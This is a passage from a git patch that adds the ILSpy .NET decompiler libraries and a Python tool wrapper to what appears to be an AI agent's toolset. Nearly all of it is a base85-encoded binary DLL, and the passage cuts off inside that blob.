From be831290f37ffe53cafda01c394048c336b5a718 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Thu, 21 Aug 2025 23:44:57 -0600 Subject: [PATCH 01/60] initial ilspy --- .../ilspy/bin/ICSharpCode.Decompiler.dll | Bin 0 -> 2508800 bytes .../tools/ilspy/bin/ICSharpCode.ILSpyX.dll | Bin 0 -> 124416 bytes .../agent/tools/ilspy/bin/Mono.Cecil.dll | Bin 0 -> 359424 bytes dreadnode/agent/tools/ilspy/tool.py | 410 ++++++++++++++++++ 4 files changed, 410 insertions(+) create mode 100644 dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll create mode 100644 dreadnode/agent/tools/ilspy/bin/ICSharpCode.ILSpyX.dll create mode 100644 dreadnode/agent/tools/ilspy/bin/Mono.Cecil.dll create mode 100644 dreadnode/agent/tools/ilspy/tool.py diff --git a/dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll b/dreadnode/agent/tools/ilspy/bin/ICSharpCode.Decompiler.dll new file mode 100644 index 0000000000000000000000000000000000000000..1ef63a91c7998e147195a56871d776ad71abdf8f GIT binary patch literal 2508800 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 